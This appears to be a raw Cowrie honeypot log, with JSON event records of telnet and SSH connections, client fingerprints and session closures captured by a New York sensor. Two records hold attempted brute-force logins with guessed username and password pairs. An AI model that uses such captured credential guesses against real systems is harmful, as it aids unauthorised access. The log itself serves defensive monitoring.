{"eventid":"cowrie.session.closed","duration":30.194448947906494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:39.122365Z","src_ip":"51.81.202.206","session":"df6ee525636c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":37998,"dst_ip":"159.203.135.109","dst_port":23,"session":"01856b876904","protocol":"telnet","message":"New connection: 51.81.202.206:37998 (159.203.135.109:23) [session: 01856b876904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:39.724840Z"}
{"eventid":"cowrie.session.closed","duration":31.1520516872406,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:40.216640Z","src_ip":"51.81.202.206","session":"54f6e2514dda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.846372604370117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:41.056506Z","src_ip":"51.81.202.206","session":"8e53c312970b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":41328,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5c453151f5c","protocol":"telnet","message":"New connection: 51.81.202.206:41328 (159.203.135.109:23) [session: c5c453151f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:41.329377Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":19990,"dst_ip":"159.203.135.109","dst_port":22,"session":"84c226861921","protocol":"ssh","message":"New connection: 152.32.213.101:19990 (159.203.135.109:22) [session: 84c226861921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:41.567425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:41.577609Z","src_ip":"152.32.213.101","session":"84c226861921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.84747290611267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:41.785876Z","src_ip":"51.81.202.206","session":"dd760b5b4b34","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:41.801531Z","src_ip":"152.32.213.101","session":"84c226861921","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":42886,"dst_ip":"159.203.135.109","dst_port":23,"session":"e074386e54ec","protocol":"telnet","message":"New connection: 51.81.202.206:42886 (159.203.135.109:23) [session: e074386e54ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:42.091001Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":43086,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6624ceff99e","protocol":"telnet","message":"New connection: 51.81.202.206:43086 (159.203.135.109:23) [session: d6624ceff99e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:42.212112Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Docker!@#","message":"login attempt [root/Docker!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:42.645551Z","src_ip":"152.32.213.101","session":"84c226861921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.863953828811646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:43.117744Z","src_ip":"51.81.202.206","session":"ef45c7cd0f78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":45962,"dst_ip":"159.203.135.109","dst_port":23,"session":"04ec6560945d","protocol":"telnet","message":"New connection: 51.81.202.206:45962 (159.203.135.109:23) [session: 04ec6560945d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:43.513794Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":46254,"dst_ip":"159.203.135.109","dst_port":23,"session":"35f851bc6c48","protocol":"telnet","message":"New connection: 51.81.202.206:46254 (159.203.135.109:23) [session: 35f851bc6c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:43.664684Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:43.866852Z","src_ip":"152.32.213.101","session":"84c226861921","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":46792,"dst_ip":"159.203.135.109","dst_port":23,"session":"1419bfe07e7a","protocol":"telnet","message":"New connection: 51.81.202.206:46792 (159.203.135.109:23) [session: 1419bfe07e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:43.933455Z"}
{"eventid":"cowrie.session.closed","duration":30.743019342422485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:44.164609Z","src_ip":"51.81.202.206","session":"d3e0f4c7a159","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.026528358459473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:44.332907Z","src_ip":"51.81.202.206","session":"05faa71ed912","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42824,"dst_ip":"159.203.135.109","dst_port":22,"session":"72d0453b2f9c","protocol":"ssh","message":"New connection: 159.203.92.129:42824 (159.203.135.109:22) [session: 72d0453b2f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:44.638610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:44.643043Z","src_ip":"159.203.92.129","session":"72d0453b2f9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:44.647198Z","src_ip":"159.203.92.129","session":"72d0453b2f9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1234567890","message":"login attempt [alex/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:44.656992Z","src_ip":"159.203.92.129","session":"72d0453b2f9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:45.662844Z","src_ip":"159.203.92.129","session":"72d0453b2f9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":54874,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ea55b76d81c","protocol":"telnet","message":"New connection: 51.81.202.206:54874 (159.203.135.109:23) [session: 0ea55b76d81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:47.606068Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":54990,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ac612238125","protocol":"telnet","message":"New connection: 51.81.202.206:54990 (159.203.135.109:23) [session: 6ac612238125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:47.660546Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":55302,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dc833ec47e1","protocol":"telnet","message":"New connection: 51.81.202.206:55302 (159.203.135.109:23) [session: 3dc833ec47e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:47.844043Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":57804,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e29218f2b38","protocol":"telnet","message":"New connection: 51.81.202.206:57804 (159.203.135.109:23) [session: 3e29218f2b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:48.902511Z"}
{"eventid":"cowrie.session.closed","duration":30.839903831481934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:49.075816Z","src_ip":"51.81.202.206","session":"b262aa78b8e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01032280921936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:49.106225Z","src_ip":"51.81.202.206","session":"f5a957e22c6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":58750,"dst_ip":"159.203.135.109","dst_port":23,"session":"8eb47460b00c","protocol":"telnet","message":"New connection: 51.81.202.206:58750 (159.203.135.109:23) [session: 8eb47460b00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:49.365844Z"}
{"eventid":"cowrie.session.closed","duration":30.819591760635376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:50.094869Z","src_ip":"51.81.202.206","session":"e0d8951d5229","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.843360662460327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:50.153083Z","src_ip":"51.81.202.206","session":"11f5a81710bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.440921783447266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:51.051360Z","src_ip":"51.81.202.206","session":"566c9863810f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":34704,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dbda13e06dc","protocol":"telnet","message":"New connection: 51.81.202.206:34704 (159.203.135.109:23) [session: 4dbda13e06dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:51.283250Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":35028,"dst_ip":"159.203.135.109","dst_port":23,"session":"28416d514016","protocol":"telnet","message":"New connection: 51.81.202.206:35028 (159.203.135.109:23) [session: 28416d514016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:51.471697Z"}
{"eventid":"cowrie.session.closed","duration":30.602118253707886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:52.412460Z","src_ip":"51.81.202.206","session":"f85b6be8b999","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.282018661499023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:53.180514Z","src_ip":"51.81.202.206","session":"b36c1afc8151","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":39542,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5bbb0ccb4da","protocol":"telnet","message":"New connection: 51.81.202.206:39542 (159.203.135.109:23) [session: a5bbb0ccb4da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:53.743058Z"}
{"eventid":"cowrie.session.closed","duration":30.83990716934204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:54.081981Z","src_ip":"51.81.202.206","session":"7d457ed60938","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51058864593506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:55.050445Z","src_ip":"51.81.202.206","session":"5b98e69193d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.677998542785645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:55.056351Z","src_ip":"51.81.202.206","session":"018b789178ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.770849466323853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:55.170806Z","src_ip":"51.81.202.206","session":"6aba31ba2f96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.184691190719604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:55.213484Z","src_ip":"51.81.202.206","session":"1ee05a82f2a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13680624961853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:56.126490Z","src_ip":"51.81.202.206","session":"e8e68b0ade12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93402099609375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:57.061576Z","src_ip":"51.81.202.206","session":"1c63088590ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.133968353271484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:57.364006Z","src_ip":"51.81.202.206","session":"81858dc77bb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":52100,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f71a47ec7f0","protocol":"telnet","message":"New connection: 51.81.202.206:52100 (159.203.135.109:23) [session: 0f71a47ec7f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:59.390384Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":52816,"dst_ip":"159.203.135.109","dst_port":23,"session":"c97c65eb9945","protocol":"telnet","message":"New connection: 51.81.202.206:52816 (159.203.135.109:23) [session: c97c65eb9945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:59.734806Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":52984,"dst_ip":"159.203.135.109","dst_port":23,"session":"77a66d90c0a5","protocol":"telnet","message":"New connection: 51.81.202.206:52984 (159.203.135.109:23) [session: 77a66d90c0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:59.796651Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":57218,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7370b7d702d","protocol":"telnet","message":"New connection: 51.81.202.206:57218 (159.203.135.109:23) [session: a7370b7d702d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:01.986987Z"}
{"eventid":"cowrie.session.closed","duration":30.712503671646118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:02.139091Z","src_ip":"51.81.202.206","session":"14ecae28c7eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":59240,"dst_ip":"159.203.135.109","dst_port":23,"session":"b97e02b1a5c9","protocol":"telnet","message":"New connection: 51.81.202.206:59240 (159.203.135.109:23) [session: b97e02b1a5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:03.279996Z"}
{"eventid":"cowrie.session.closed","duration":38.51199197769165,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:04.192082Z","src_ip":"144.79.218.12","session":"fa7aa9043243","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.805474758148193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:05.082627Z","src_ip":"51.81.202.206","session":"c5ad8e9cac9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":34856,"dst_ip":"159.203.135.109","dst_port":23,"session":"89836c0023c7","protocol":"telnet","message":"New connection: 51.81.202.206:34856 (159.203.135.109:23) [session: 89836c0023c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:05.158777Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":34894,"dst_ip":"159.203.135.109","dst_port":23,"session":"184e81f18536","protocol":"telnet","message":"New connection: 51.81.202.206:34894 (159.203.135.109:23) [session: 184e81f18536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:05.178574Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":35238,"dst_ip":"159.203.135.109","dst_port":23,"session":"397f39d32a44","protocol":"telnet","message":"New connection: 51.81.202.206:35238 (159.203.135.109:23) [session: 397f39d32a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:05.336132Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":37222,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdc944623b99","protocol":"telnet","message":"New connection: 51.81.202.206:37222 (159.203.135.109:23) [session: cdc944623b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:06.332429Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":37434,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d12ef85e012","protocol":"telnet","message":"New connection: 51.81.202.206:37434 (159.203.135.109:23) [session: 0d12ef85e012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:06.471404Z"}
{"eventid":"cowrie.session.closed","duration":30.89885640144348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:09.063812Z","src_ip":"51.81.202.206","session":"9a45387bc635","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":44106,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dbf9f63e6b8","protocol":"telnet","message":"New connection: 51.81.202.206:44106 (159.203.135.109:23) [session: 6dbf9f63e6b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:09.846227Z"}
{"eventid":"cowrie.session.closed","duration":30.786088705062866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:10.510800Z","src_ip":"51.81.202.206","session":"01856b876904","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":46780,"dst_ip":"159.203.135.109","dst_port":23,"session":"08a73647d30f","protocol":"telnet","message":"New connection: 51.81.202.206:46780 (159.203.135.109:23) [session: 08a73647d30f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:11.159814Z"}
{"eventid":"cowrie.session.closed","duration":30.742987394332886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:12.072279Z","src_ip":"51.81.202.206","session":"c5c453151f5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":48722,"dst_ip":"159.203.135.109","dst_port":23,"session":"71a1edce3bb5","protocol":"telnet","message":"New connection: 51.81.202.206:48722 (159.203.135.109:23) [session: 71a1edce3bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:12.190327Z"}
{"eventid":"cowrie.session.closed","duration":30.970566987991333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:13.061386Z","src_ip":"51.81.202.206","session":"e074386e54ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24829626083374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:13.460329Z","src_ip":"51.81.202.206","session":"d6624ceff99e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.137019872665405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:14.070368Z","src_ip":"51.81.202.206","session":"1419bfe07e7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77556800842285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:14.289275Z","src_ip":"51.81.202.206","session":"04ec6560945d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.834637880325317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:14.499210Z","src_ip":"51.81.202.206","session":"35f851bc6c48","protocol":"telnet"}
